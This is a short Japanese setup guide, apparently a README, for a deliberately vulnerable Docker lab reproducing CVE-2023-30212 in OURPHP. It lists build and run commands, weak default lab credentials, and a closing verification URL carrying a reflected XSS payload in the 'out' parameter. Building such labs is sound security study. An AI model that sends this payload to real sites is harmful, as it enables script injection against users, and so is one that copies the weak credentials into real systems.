脆弱なDocker環境の作成 - CVE-2023-30212-

git cloneを使ってリポジトリからファイルをダウンロード

git clone https://github.com/JasaluRah/Creating-a-Vulnerable-Docker-Environment-CVE-2023-30212-.git

次にDockerイメージを設定します

Dockerイメージの作成

次のコマンドを使用します: sudo docker build -t work .

Dockerコンテナを実行するには

次のコマンドを使用します: sudo docker run -d -p 80:80 work

これでコンテナIDが取得できます

OURPHPを表示するには

ブラウザを開いてlocalhostにアクセスします: 127.0.0.1 次に以下の認証情報を使用します username : root password : docker database : work

管理者としてサインイン

username : work password : work

脆弱性の確認

URLにアクセスします: http://localhost/client/manage/ourphp_out.php?ourphp_admin=logout&out=</script><script>alert("xss")</script> alertメッセージとして"xss"が表示されます。